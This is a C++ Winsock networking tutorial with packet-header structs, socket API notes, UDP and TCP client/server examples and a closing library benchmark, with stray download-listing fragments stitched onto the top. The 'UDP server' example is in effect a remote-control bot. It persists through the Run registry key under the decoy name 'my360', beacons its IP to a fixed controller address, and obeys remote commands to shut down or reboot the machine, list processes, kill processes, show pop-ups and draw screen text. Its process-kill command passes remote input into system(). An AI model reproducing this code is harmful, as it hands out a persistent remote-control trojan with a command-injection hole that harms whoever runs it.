精华内容
下载资源
问答
  • Visual C++网络通信编程实用案例精选 基本信息 作者: 丁展 刘海英等 丛书名: Visual C++案例精选系列 出版社:人民邮电出版社 ISBN:7115121648 上架时间:2004-4-14 出版日期:2004 年4月 开本:16开 页码:509...
  • 第2篇介绍了7大类网络开发典型应用案例的实现,包括FTP客户端实现之一、 FTP客户端实现之二、网页浏览器、网络通信器、邮件接收和发送客户端之一、邮件接收和发送客户端之二、网络文件传输器、Q版聊天软件和聊天室。...
  •  第二章 Windows网络编程基础  第三章 TCP、UDP高级编程  第四章 基本网络应用  第五章 FTP高级编程  第六章 HTTP高级编程  第七章 FTP高级编程  第八章 E-mail协议及高级编程  第九章 ICMP高级开发  第十...
  • Visual C++网络通信开发入门与编程实践 完整版 pdf + 源码
  •  第二章 Windows网络编程基础  第三章 TCP、UDP高级编程  第四章 基本网络应用  第五章 FTP高级编程  第六章 HTTP高级编程  第七章 FTP高级编程  第八章 E-mail协议及高级编程  第九章 ICMP高级开发  第十...
  • 《Visual C++ 网络通信编程实用案例精选》书中的 Example2 是 CSocket 聊天室,原版代码会出现过一会儿就收不到消息的情况。这是改进版源码,增加了一行代码,解决了这个问题。该程序已使用 Visual Studio 2013 调试...
  • 详细的专门讲解网络通信的资料。 Visual C++网络通信协议分析与应用实现代码
  • Visual C++网络通信开发入门与编程实践》从介绍通信基础知识和VC++基本编程模型开始,通过众多的小实例来贯穿讲解晦涩的基础知识;然后按照通信协议层展开,将通信协议层和实际应用结合,让读者在学习“基幢后学习中...
  • C++网络通信实现

    万次阅读 多人点赞 2018-08-03 15:46:59
    TCP/IP协议 OSI参考模型:应用层-表示层-会话...即应用层-传输层-互联网络层-网络接口层。 数据包格式 IP数据包 IP数据包是在IP协议间发送的,主要在以太网与网际协议模块之间传输,提供无连接...

    Github个人博客:https://joeyos.github.io

    TCP/IP协议

    OSI参考模型:应用层-表示层-会话层-传输层-网络层-数据链路层-物理层。

    TCP/IP参考模型:传输控制协议/网际协议是互联网上最流行的协议,采用4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。即应用层-传输层-互联网络层-网络接口层。

    数据包格式

    IP数据包

    IP数据包是在IP协议间发送的,主要在以太网与网际协议模块之间传输,提供无连接数据包传输。不保证数据包的发送,但最大限度的发送数据。结构如下:

    typedef struct HeadIP{
    	unsigned char headerlen:4;//首部长度,4位
    	unsigned char version:4;//版本,4位
    	unsigned char servertype;//服务类型,8位
    	unsigned short totallen;//长度,16位
    	unsigned short id;
    	//与idoff构成标识符,共占16为,前3位是标识,后13位是片偏移
    	unsigned short idoff;
    	unsigned char ttl;//生存时间,8位
    	unsigned char proto;//协议,占8位
    	unsigned short checksum;//检验首部和,16位
    	unsigned int sourceIP;//源IP地址,32位
    	unsigned int destIP;//目的IP地址,32位
    }HeadIP;
    

    TCP数据包

    面向连接,全双工,可靠的传输。

    typedef struct HeadTCP{
    	WORD SourcePort;//16位源端口号
    	WORD DePort;//16位目的端口
    	DWORD SequenceNo;//32位序号
    	DWORD ConfirmNo;//32位确认序号
    	BYTE HeadLen;//与Flag为一个组成部分,首部长度,4位,保留6位,6位标识,共16位
    	BYTE Flag;
    	WORD WndSize;//16位窗口大小
    	WORD CheckSum;//16位校验和
    	WORD UrgPtr;//16位紧急指针
    }HeadTCP;
    

    三次握手连接

    第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。

    第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

    第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。

    完成三次握手,客户端与服务器开始传送数据。

    这里写图片描述

    四次握手关闭

    TCP关闭连接的步骤如下:

    第一步,当主机A的应用程序通知TCP数据已经发送完毕时,TCP向主机B发送一个带有FIN附加标记的报文段(FIN表示英文finish)。

    第二步,主机B收到这个FIN报文段之后,并不立即用FIN报文段回复主机A,而是先向主机A发送一个确认序号ACK,同时通知自己相应的应用程序:对方要求关闭连接(先发送ACK的目的是为了防止在这段时间内,对方重传FIN报文段)。

    第三步,主机B的应用程序告诉TCP:我要彻底的关闭连接,TCP向主机A送一个FIN报文段。

    第四步,主机A收到这个FIN报文段后,向主机B发送一个ACK表示连接彻底释放。

    这里写图片描述

    UDP数据包

    UDP数据包是无连接的,一次服务,不提供差错恢复,不提供数据重传。

    typedef struct HeadUDP{
    	WORD SourcePort;//16位端口号
    	WORD DePort;//16位目的端口
    	WORD Len;//16位UDP长度
    	WORD ChkSum;//16位UDP校验和
    }HeadUDP;
    

    ICMP数据包

    ICMP协议被称为网际控制报文协议,是IP协议的附属协议,可以将某设备的故障信息发送到其他设备。

    typedef struct HeadCMP{
    	BYTE Type;//8为类型
    	BYTE Code;//8位代码
    	WORD ChkSum;//16位校验和
    }HeadICMP;
    

    套接字

    所谓套接字,实际上是一个指向传输提供者的句柄。

    Winsock套接字可以使应用程序适用于不同的网络名和网络地址。

    #include"winsock2.h"//引用头文件
    #pragma comment(lib,"ws2_32.lib")//链接库文件
    

    初始化套接字:

    WSADATA wsd;//定义WSADATA对象
    WSAStratup(MAKEWORD(2,2),&wsd);//初始化套接字
    

    常用的套接字函数

    1. WSAStartup函数:初始化ws2_32.dll动态链接库

      int WSAStartup(WORD wVersionRequested,LPWSADATA IpWSAData);

    2. socket函数:创建套接字

      SOCKET socket(int af,int type,int protocol);

    3. bind函数:将套接字绑定到指定的端口和地址

      int bind(SOCKET s,const struct sockaddr FAR* name,int namelen);

    4. listen函数:将套接字设定为监听模式
      int listen(SOCKET s,int backlog);

    5. accept函数:接收连接请求

      SOCKET accept(SOCKET s,struct sockaddr FAR* addr,int FAR* addrlen);

    6. closesocket函数:关闭套接字

      int closesocket(SOCKET s);

    7. connect函数:发送连接请求

      int connect(SOCKET s,const struct sockaddr FAR* name,int namelen);

    8. htons 函数:将16位无符号短整型数据转换为网络排列方式

      u_short htons(u_short hostshort);

    9. htonl函数:将无符号长整型转换为网络排列方式

      u_long htonl(u_long hostlong);

    10. inet_addr函数:将字符串表示的地址转换为32位的无符号长整型数据

      unsigned long inet_addr(const char FAR* cp);

    11. recv函数:接收数据

      int recv(SOCKET s,char FAR* buf,int len,int flags);

    12. send函数:发送数据

      int send(SOCKET s,const char FAR* buf,int len,int flags);

    13. select函数:检查套接字是否处于可读、可写或错误状态

      int select(int nfds,fd_set FAR* readfds,fd_set FAR* writefds,fd_set FAR* exceptfds,const struct timeval FAR* timeout);

    14. WSACleanup函数:释放ws2_32.dll动态链接库分配的资源

      int WSACleanup(void);

    15. WSAAsyncSelect函数:将网络中的某事件关联到窗口的某个消息中

      int WSAAsyncSelect(SOCKET s,HWND hWnd,unsigned int wMsg,long iEvent);

    16. ioctlsocket函数:设置套接字的I/O模式

      int ioctlsocket(SOCKET s,long cmd,u_long FAR* argp);

    套接字阻塞模式

    依据套接字函数执行方式的不同,可以将套接字分为两类:阻塞和非阻塞。

    阻塞:函数调用玩会一直等待,直到I/O操作完成。故一个线程中同时只能进行一项I/O操作。

    非阻塞:函数调用会立即返回。

    默认情况下,套接字为阻塞套接字。为了将套接字设置为非阻塞,需要使用ioctlsocket函数。

    unsigned long nCmd;
    SOCKET clientSock = socket(AF_INET,SOCK_STREAM,0);//创建套接字
    int nState=ioctlsocket(clientSock,FIONBIO,&nCmd);//设置非阻塞模式
    if(nState != 0)
    {
    	TRACE("设置套接字非阻塞模式失败!");
    }
    

    连接过程

    面向连接流

    服务端:

    |- WSAStartup函数初始化
    |- 创建Socket
    |- 用bind指定对象
    |- listen设置监听
    |- accept接收请求
    |- send发送会话
    |- closesocket关闭socket
    

    客户端:

    |- WSAStartup函数初始化
    |- 创建Socket
    |- connect请求连接
    |- send发送会话
    |- closesocket关闭socket
    

    面向无连接流

    服务端:

    |- WSAStartup函数初始化
    |- 创建Socket
    |- 调用recvfrom和sendto进行通信
    |- 调用closesocket关闭Socket
    

    客户端:

    |- WSAStartup函数初始化
    |- 创建Socket
    |- 调用recvfrom和sendto进行通信
    |- 调用closesocket关闭socket
    

    基于UDP协议的网络通信

    UDP链接是面向无连接的,一次服务,不提供差错恢复,不提供数据重传。

    SOCK_DGRAM协议族,UDP协议。

    服务端实现

    服务端启动后会给指定IP地址的客户端发送服务端的IP地址,以便客户端启动后自动连接到服务端。

    这里写图片描述

    #include<stdio.h>
    // 获取进程列表
    #include<windows.h>//windows底层函数
    #include<Tlhelp32.h>
    // 网络库(Linux头文件不同)
    #include<winsock.h>
    #pragma comment(lib,"ws2_32.lib")
    // 取消窗口显示
    //#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
    
    // 全局变量
    int sock;
    bool going=true;
    
    // 分身活动区域
    unsigned long WINAPI function(void* lp)
    {
    	// 发送肉鸡IP地址
    	char hostname[255]="";
    	// 获取系统主机名
    	gethostname(hostname,sizeof(hostname));
    	printf("系统主机名:%s\n",hostname);
    	// 在数据链路层,主机名与IP地址对应
    	hostent *host=gethostbyname(hostname);
    	char* ip=inet_ntoa(*(struct in_addr *)*host->h_addr_list);
    	//printf("%s\n",ip);
    	// 强制转换网络地址为255.255.255.255类型
    
    	// 定义控制方IP地址
    	sockaddr_in ctladdr;
    	ctladdr.sin_family=AF_INET;
    	ctladdr.sin_port=htons(7676);
    	ctladdr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    	while(going)
    	{
    		sendto(sock,ip,strlen(ip),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
    		Sleep(5000);
    		// 5秒
    	}
    	return 0;
    }
    
    int main(void)
    {
    	// 防止双开 互斥量
    	HANDLE hmutex=CreateMutex(0,true,"LF");
    	// (默认值,是否上锁,标识)
    	if(hmutex!=NULL)// 不为空则创建成功
    	{
    		if(GetLastError()==ERROR_ALREADY_EXISTS)
    		{
    			printf("已经打开了\n");
    			return 0;
    		}
    	}
    
    	// 开机自启
    	//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    	//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    	HKEY key;// HKEY代表打开的注册表首地址
    	long reg=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&key);
    	if(reg==ERROR_SUCCESS)// 打开成功返回为0
    	{
    		// 获取路径
    		printf("注册表写入成功!\n");
    		char path[255]="";
    		GetModuleFileName(0,path,254);
    
    		// 增加此运行程序的路径(key,"name",写入0,写入类型)
    		// 用RegSetValueEx写在Run目录下
    		RegSetValue(key,"my360",REG_SZ,path,strlen(path));
    		// 关闭程序
    		RegCloseKey(key);
    		// Release版本才可以开机自启
    	}
    	// 1.网络是否存在,初始化网络 调用系统函数
    	WSADATA wsaData;
    	WSAStartup(0x202,&wsaData);
    	// 网络库版本号,最新版本,获取初始化信息
    
    	// 2.购买手机(获取套接字)
    	//int sock=socket(AF_INET,SOCK_DGRAM,0);
    	// SOCK_DGRAM协议族,UDP协议,默认为0
    	// SOCK_STREAM, TCP/IP协议
    	sock=socket(AF_INET,SOCK_DGRAM,0);
    
    	// 3.绑定端口号(类似绑定手机卡)
    	sockaddr_in addr;// 此电脑的信息(ip,端口号,协议族)
    	addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    	//inet_addr("192.168.75.1");
    	addr.sin_port = htons(7979);// 绑定的端口号
    	addr.sin_family=AF_INET;
    	bind(sock,(sockaddr*)&addr,sizeof(addr));
    	// 4.收到指令,并处理
    	char buf[1024]="";// 接收数据1#1等
    	char cmd[4]="";// 截取字符串
    
    	// 定义控制方IP地址
    	sockaddr_in ctladdr;
    	int ilen = sizeof(ctladdr);
    	// 创建分身
    	CreateThread(0,0,function,0,0,0);
    
    	while(1) //recv(套接字,存储数据区,存储数据长度,默认为0)
    	{
    		// 收信息recv/recvfrom
    		// recvfrom不仅可以收到信息,还可以知道发送端的IP及端口号
    		//int num=recv(sock,buf,sizeof(buf),0);
    		int num=recvfrom(sock,buf,sizeof(buf),0,(sockaddr*)&ctladdr,&ilen);
    		printf("收到控制端消息:%s %d\n",inet_ntoa(ctladdr.sin_addr),ctladdr.sin_port);
    		// 截取前三个字符到cmd中
    		strncpy(cmd,buf,3);
    		buf[num]='\0';
    		//printf("%s\n",buf);
    		// 指令的识别,处理
    		if(strcmp(cmd,"1#1")==0)
    		{
    			system("shutdown -s -t 1000");// 关机
    		}
    		else if(strcmp(cmd,"1#2")==0)
    		{
    			system("shutdown -r -t 1000");// 重启
    		}
    		else if(strcmp(cmd,"2#1")==0)// 获取进程列表
    		{
    			// 动态获取进程列表(二维数组)
    			// 1.打开获取表格
    			HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    			// 2.遍历表格 Process32First(表格);
    			PROCESSENTRY32 processMsg;// 结构体(程序名,ID,内存)
    			Process32First(handle,&processMsg);
    			do
    			{
    				//printf("%s\n",processMsg.szExeFile);
    				sendto(sock,processMsg.szExeFile,strlen(processMsg.szExeFile),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
    			}while(Process32Next(handle,&processMsg));//指为空时返回0
    		}
    		else if(strcmp(cmd,"2#2")==0)//2#2#结束的进程名
    		{
    			//shell命令
    			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)
    			{
    				char *process=strtok(NULL,"#");
    				char opr[100]="";
    				// 字符串的拼接
    				sprintf(opr,"taskkill /F /IM %s*",process);// 关闭某进程
    				system(opr);
    				//printf("%s\n",opr);
    				//system("taskkill /F /IM FeiQ*");
    			}
    		}
    		else if(strcmp(cmd,"4#1")==0)//弹出提示框(0,"内容","标题",提示框样式)
    		{
    			// 截取字符串
    			// 4#1#内容#标题
    			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
    			{
    				char *content=strtok(NULL,"#");
    				char *title=strtok(NULL,"#");
    				MessageBox(0,content,title,MB_ICONINFORMATION|MB_OK|MB_SYSTEMMODAL);
    			}
    		}
    		else if(strcmp(cmd,"6#1")==0)
    		{
    			going=false;
    		}
    		else if(strcmp(cmd,"7#1")==0)// 显示广告
    		{
    			// 截取字符串
    			// 7#1#内容
    			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
    			{
    				char *content=strtok(NULL,"#");
    
    				// 1.获取设备上下文接口:打印机,投影仪,屏幕
    				HDC hdc=GetDC(0);// NULL默认输出主屏幕
    
    				// 字体背景透明
    				SetBkMode(hdc,TRANSPARENT);
    				// 颜色
    				SetTextColor(hdc,RGB(255,0,0));// 红绿蓝
    				// 大小,改变字体,创建字体
    				HFONT font=CreateFont(100,50,0,0,
    					FW_BOLD,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,
    					CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_SWISS,"宋体");
    				// 替换字体
    				SelectObject(hdc,font);
    
    				// 2.绘画字体
    				TextOut(hdc,100,100,content,strlen(content));
    				// 3.释放上下文
    				ReleaseDC(0,hdc);
    			}
    		}
    	}
    	// 5.释放网络
    	closesocket(sock);
    	// 6.清空初始化
    	WSACleanup();
    	return 0;
    }
    

    客户端实现

    只要服务端运行,就会给指定的客户端发送服务端IP地址,当客户端收到服务端IP地址后,会自动连接到服务端,并可对服务端进行关机、重启、获取服务端进程列表、结束进程,以及发送远程字幕和弹窗操作。

    这里写图片描述

    #include<stdio.h>
    #include<winsock.h>
    #pragma comment(lib,"ws2_32.lib")
    
    int num=0;
    char ipBuf[1024]="";
    
    // 为线程指定活动区域
    unsigned long WINAPI threadfun(void *sock)
    {
    	char buf[1024]="";
    	while(1)
    	{
    		//Sleep(5000);
    		//无数据则一直等待,中途中断则返回0
    		num=recv(*(int*)sock,buf,1023,0);
    		buf[num]='\0';
    		printf("收到服务器消息:%s\n",buf);
    		strcpy(ipBuf,buf);
    		/*
    		ip地址转存给主函数,
    		直接用buf行不通,
    		可能一直被读写占用
    		*/
    		if(num<=0)
    			break;//接收完成
    	}
    	return 0;
    }
    
    void menu(int sock,sockaddr_in eaddr)
    {
    	printf("-------------控制系统----------------------\n");
    	printf("-------------1.关机------------------------\n");
    	printf("-------------2.重启------------------------\n");
    	printf("-------------3.进程列表--------------------\n");
    	printf("-------------4.结束进程--------------------\n");
    	printf("-------------5.远程字幕--------------------\n");
    	printf("-------------6.发送弹窗--------------------\n");
    	printf("请选择:\n");
    
    	int opt=0;
    	scanf("%d",&opt);
    	if(opt==1)//关机
    	{
    		sendto(sock,"1#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==2)//重启
    	{
    		sendto(sock,"1#2",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==3)//进程列表
    	{
    		sendto(sock,"2#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==4)//结束进程
    	{
    		char process[100]="";
    		printf("请输入需要结束的进程名:\n");
    		scanf("%s",process);
    		//拼接
    		char cmd[1000]="";
    		sprintf(cmd,"2#2#%s*",process);
    		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==5)//投放字幕
    	{
    		char content[100]="";
    		printf("请输入广告内容:");
    		scanf("%s",content);
    		//格式化字符串
    		char cmd[1000]="";
    		sprintf(cmd,"7#1#%s",content);
    		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==6)//弹窗
    	{
    		char content1[100]="";
    		printf("请输入弹窗内容:");
    		scanf("%s",content1);
    		char content2[100]="";
    		printf("请输入标题:");
    		scanf("%s",content2);
    		//格式化字符串
    		char cmd[1000]="";
    		sprintf(cmd,"4#1#%s#%s",content1,content2);
    		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    		printf("%d,%d\n",sock,sizeof(eaddr));
    	}
    }
    
    
    int main(void)
    {
    	// 1.初始化网络,网络是否存在
    	WSADATA wsaData;
    	WSAStartup(0x202,&wsaData);
    
    	// 2.购买手机,获取套接字
    	int sock=socket(AF_INET,SOCK_DGRAM,0);//AF_INET为英特网
    	// 3.绑定手机卡(默认:若绑定,网卡会默认绑定(IP,随机端口号))
    	// 不绑定,让系统默认绑定
    	// 手动绑定IP地址,端口号
    	sockaddr_in myaddr;
    	myaddr.sin_family=AF_INET;
    	myaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
    	myaddr.sin_port=htons(7676);
    	bind(sock,(sockaddr*)&myaddr,sizeof(myaddr));//绑定手机
    
    	// 4.发送指令
    	char buf[100]="";
    	sockaddr_in eaddr;
    	eaddr.sin_port=htons(7979);
    	eaddr.sin_family=AF_INET;
    	//eaddr.sin_addr.S_un.S_addr=inet_addr("10.10.205.162");
    
    	// 创建一个线程接收(0,0,线程活动区域,传递值,0,0)
    	HANDLE hThread;
    	hThread = CreateThread(0,0,threadfun,&sock,0,0);
    
    	if(hThread==NULL)
    	{
    		printf("接收线程未运行!\n");
    	}
    	else
    	{
    		//Sleep(5000);
    		printf("接收线程正在运行!\n");
    		while(strlen(ipBuf)==0)
    		{
    			printf("正在尝试与服务器建立连接...\n");
    			Sleep(5000);
    		}
    		printf("已连接到服务器地址:%s\n",ipBuf);
    		eaddr.sin_addr.S_un.S_addr=inet_addr(ipBuf);
    		//停止获取IP
    		sendto(sock,"6#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    		while(1)
    		{
    			menu(sock,eaddr);//菜单
    		}
    	}
    	// 5.释放网络
    	closesocket(sock);
    	// 6.清除
    	WSACleanup();
    	return 0;
    }
    

    基于TCP/IP协议的网络通信

    TCP/IP协议是面向连接的,安全的。

    服务端实现

    接收客户端A,则给客户端发送字符B,接收C,则发送字符D。

    这里写图片描述

    #include<iostream.h>
    #include<stdlib.h>
    #include"winsock2.h"//引用头文件
    #pragma comment(lib,"ws2_32.lib")//引用库文件
    //线程实现函数
    
    DWORD WINAPI threadpro(LPVOID pParam)
    {
    	SOCKET hsock=(SOCKET)pParam;
    	char buffer[1024];
    	char sendBuffer[1024];
    	if(hsock != INVALID_SOCKET)
    		cout<<"Start Receive!"<<endl;
    	while(1)
    	{
    		//循环接收发送的内容
    		int num = recv(hsock,buffer,1024,0);//阻塞函数,等待接收内容
    		if(num>=0)
    			cout<<"Receive form clinet!"<<buffer<<endl;
    		if(!strcmp(buffer,"A"))
    		{
    			memset(sendBuffer,0,1024);
    			strcpy(sendBuffer,"B");
    			int ires = send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
    			cout<<"Send to Client: "<<sendBuffer<<endl;
    		}
    		else if(!strcmp(buffer,"C"))
    		{
    			memset(sendBuffer,0,1024);
    			strcpy(sendBuffer,"D");
    			int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
    			cout<<"Send to client: "<<sendBuffer<<endl;
    		}
    		else if(!strcmp(buffer,"exit"))
    		{
    			cout<<"Client Close"<<endl;
    			cout<<"Server Process Close"<<endl;
    			return 0;
    		}
    		else
    		{
    			memset(sendBuffer,0,1024);
    			strcpy(sendBuffer,"ERR");
    			int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);
    			cout<<"Send to client"<<sendBuffer<<endl;
    		}
    
    	}
    	return 0;
    }
    //主函数
    void main()
    {
    	WSADATA wsd;//定义WSADATA对象
    	WSAStartup(MAKEWORD(2,2),&wsd);
    	SOCKET m_SockServer;
    	sockaddr_in serveraddr;
    	sockaddr_in serveraddrfrom;
    	SOCKET m_Server[20];
    
    	serveraddr.sin_family = AF_INET;//设置服务器地址
    	serveraddr.sin_port=htons(4600);//设置端口号
    	serveraddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    	m_SockServer=socket(AF_INET,SOCK_STREAM,0);
    	int i=bind(m_SockServer,(sockaddr*)&serveraddr,sizeof(serveraddr));
    	cout<<"bind:"<<i<<endl;
    
    	int iMaxConnect=20;//最大连接数
    	int iConnect=0;
    	int iLisRet;
    	char buf[]="This is Server\0";//向客户端发送的内容
    	char WarnBuf[]="It is over Max connect\0";
    	int len=sizeof(sockaddr);
    	while(1)
    	{
    		iLisRet=listen(m_SockServer,0);//进行监听
    		m_Server[iConnect]=accept(m_SockServer,(sockaddr*)&serveraddrfrom,&len);
    		//同意连接
    		if(m_Server[iConnect]!=INVALID_SOCKET)
    		{
    			int ires=send(m_Server[iConnect],buf,sizeof(buf),0);//发送字符过去
    			cout<<"发送消息:"<<buf<<endl;
    			cout<<"accept: "<<ires<<endl;//显示已经建立连接次数
    			iConnect++;
    			if(iConnect>iMaxConnect)
    			{
    				int ires=send(m_Server[iConnect],WarnBuf,sizeof(WarnBuf),0);
    
    			}
    			else
    			{
    				HANDLE m_Handel;//线程句柄
    				DWORD nThreadId=0;//线程ID
    				m_Handel=(HANDLE)::CreateThread(NULL,0,threadpro,(LPVOID)m_Server[--iConnect],0,&nThreadId);
    				//启动线程
    				cout<<"启动线程!"<<endl;
    			}
    		}
    	}
    	WSACleanup();
    }
    

    客户端实现

    给服务端发送A,则会接受到字符B,发送C,则收到D。

    这里写图片描述

    #include<iostream.h>
    #include<stdlib.h>
    #include<stdio.h>
    #include"winsock2.h"
    #include<time.h>
    #pragma comment(lib,"ws2_32.lib")
    
    void main()
    {
    	WSADATA wsd;//定义WSADATA对象
    	WSAStartup(MAKEWORD(2,2),&wsd);
    	SOCKET m_SockClient;
    	sockaddr_in clientaddr;
    
    	clientaddr.sin_family=AF_INET;//设置服务器地址
    	clientaddr.sin_port=htons(4600);//设置服务器端口号
    	clientaddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    	m_SockClient=socket(AF_INET,SOCK_STREAM,0);
    	int i=connect(m_SockClient,(sockaddr*)&clientaddr,sizeof(clientaddr));//连接超时
    	cout<<"connect:"<<i<<endl;
    
    	char buffer[1024];
    	char inBuf[1024];
    	int num;
    	num=recv(m_SockClient,buffer,1024,0);//阻塞
    	if(num>0)
    	{
    		cout<<"Receive from server:"<<buffer<<endl;//欢迎信息
    		while(1)
    		{
    			num=0;
    			cout<<"请输入要发送的消息:"<<endl;
    			cin>>inBuf;
    			if(!strcmp(inBuf,"exit"))
    			{
    				send(m_SockClient,inBuf,sizeof(inBuf),0);//发送退出指令
    				return;
    			}
    			send(m_SockClient,inBuf,sizeof(inBuf),0);
    			num=recv(m_SockClient,buffer,1024,0);//接收客户端发送过来的数据
    			if(num>=0)
    				cout<<"接收消息:"<<buffer<<endl;
    		}
    	}
    }
    
    展开全文
  • Visual+C++网络通信编程实用案例精选》配套源码
  • c++ 网络通信模型 select模型 windows编程 网络编程
  • visual c++网络通信编程技术详解

    热门讨论 2014-06-06 14:53:52
    visual c++网络通信编程技术详解 代勇李伟 相关课件
  • Visual C++网络通信协议分析与应用实现 只有源码 书籍太大了 等我分段后再传啊
  • c++网络通信编程实用案例精选,它包括了C++网络通信编程的经典案例,代码生动,是网络编程的好向导。
  • C++百万并发网络通信引擎架构与实现(Socket、全栈、跨平台) 以前我看的一个教程 花一百多买的 不错的教程 tcp 网络通讯 链接: https://pan.baidu.com/s/1p9xnifPzvUSC02EagxTQsA 提取码: xce7 转自:...

    C++百万并发网络通信引擎架构与实现(Socket、全栈、跨平台)
    以前我看的一个教程 花一百多买的 不错的教程 tcp 网络通讯

    链接: https://pan.baidu.com/s/1p9xnifPzvUSC02EagxTQsA 提取码: xce7

    转自:www.52fenxiang.top

    展开全文
  • Visual C++网络通信编程实用案例精选 (第二版) 源代码 包括VC++网络通信编程基础,本地计算机网络编程,局域网网络通信编程实例,IE编程实例,基本网络编程实例,网络通信协议编程实例,Modem/串口通信编程实例,...
  • Visual C++网络通信协议分析与应用实现 -1 Visual C++网络通信协议分析与应用实现 -1 Visual C++网络通信协议分析与应用实现 -1
  • 这是书籍《Visual C++网络通信程序开发基础及实例解析》配套的源代码,将1-10章打成了一个包,供大家下载(本站也有,但打了许多包,里面有不少生成的obj,所以还挺大)。 内容主要包括:多线程、钩子、网络通信(套...
  • C++网络通信

    2012-11-21 16:03:08
    分别编写客户端和服务器两端的代码,实现通信的功能。客户端发出请求,服务器响应。客服端发送消息,服务器接收并实时显示。
  • 《Visual C++网络通信编程实用案例精选》配套源码,全面,值得学习
  • C++网络通信库性能大比拼

    千次阅读 2019-02-21 13:38:15
    C++网络通信库性能大比拼
                   

    C/C++网络通信库有不少,本次benchmark的目的是为了公平的评估它们的网络I/O性能,当然是作为REST server, 因此每个server都写了一些代码,好在不是特别复杂。这个测试经过了好几轮,本文给出了最终的结论。

    先上结论,大家都忙:)

    候选者:cppcms, boost asio, libevent, muduo和 nginx,nginx不是库,这里做测试使用它作为基准,毕竟很多人心里,它是不可挑战的。

    结论:QPS的比拼结果,cppcms最弱,boost asio好很多,libevent好更多,nginx比libevent还要好点,muduo最好。

    但是,不要小瞧这里最弱的cppcms,它仍可以轻易击败php, ruby, java, go, python, nodejs等语言编写的rest server。

    下面介绍测试的方法

    测试工具:wrk

    之前选用过apache的ab test工具,不要被名字骗了,和常说的ab test方法没什么关系。这是一个压力测试工具,但是明显不能将压力升到最高,还是wrk效果最好。因为压测的目标是,击穿服务器,然后减少点压力,找到能够让服务器网络程序正常工作的最大压力。

    找测试工具的唯一标准就是能不能用足压测客户机器的资源,释放最大的压力。其他非C/C++的压测工具也就直接谢绝了,这不是什么开发效率至上的场合。

    wrk -t4 -c200 -d60s "http://167serverip:serverport/collect?v=1"
    wrk tool; 4 threads; 200 concurrency connection; duration 60s.

    测试服务器

    Table 1: benchmark env
    MachineCPU ModelMEMNETCARD(Gbps)OS
    client Intel(R) Xeon(R) CPU E5620 @2.40GHz 8 core16G1CentOS release 6.5 (Final) x86_64
    server Intel(R) Xeon(R) CPU E5620 @2.40GHz 8 core16G1CentOS release 6.5 (Final) x86_64

    8核服务器,CentOS系统是乐视大运维同事优化过内核的,性能应该超过下载下来的默认系统。测试服务器分成两种,client负责发出http调用,server负责接受http请求,我们测量的就是server成功处理的最大QPS.


    网络程序架构

    都使用epoll,不过还是有差别,主要在多线程模型上。

    Table 2: server architecture
    ServerProcess NumThread NumIO Pattern
    cppcms_based1default threads = core*5epoll one thread io_loop
    asio_based18epoll io_loop-per-thread
    muduo_based18epoll io_loop-per-thread
    libevent_based18epoll io_loop-per-thread
    nginx8 worker1epoll one thread io_loop


    测试结果

    format: min/max/average

    Table 3: benchmark result
    ServerCpuMemDiskNetcard(in/out)Requests/sec
    libevent_based684% / 768% / 756%7276 / 9.9M / 8231--104797 / 112025 / 111998
    asio_based302% / 357% / 309%5522 / 5976 / 5743--18971 / 19246 / 19163
    cppcms_based230% / 249% / 231%9210 / 9428 / 9378--15434 / 16391 / 15500
    muduo_based680% / 754% / 702%6644 / 7332 / 6720--286586 / 289423 / 287332
    nginx8*80% / 8*86 / 8*828*44M / 8*44M / 8*44M--112658 / 114127 / 113406


    如果使用O3优化选项, 发现对于boost asio和muduo有较大提升。

    Table 5: more details httpserver all versions benchmark
    ServerCompilerOptimization optionCpuMemDiskNetcard(in/out)Requests/sec
    cppcms_basedclang++ 3.6.2-O3228% / 239% / 228%9356 / 9416 / 9416--14252 / 16124 / 15820
    asio_basedclang++ 3.6.2-O3300% / 305% / 303%4368 / 4564 /4416--33069 / 34247 / 33360
    libevent_basedclang++ 3.6.2-O3763% / 764% / 764%5560 / 10M / 5520--113373 / 114072 / 113713
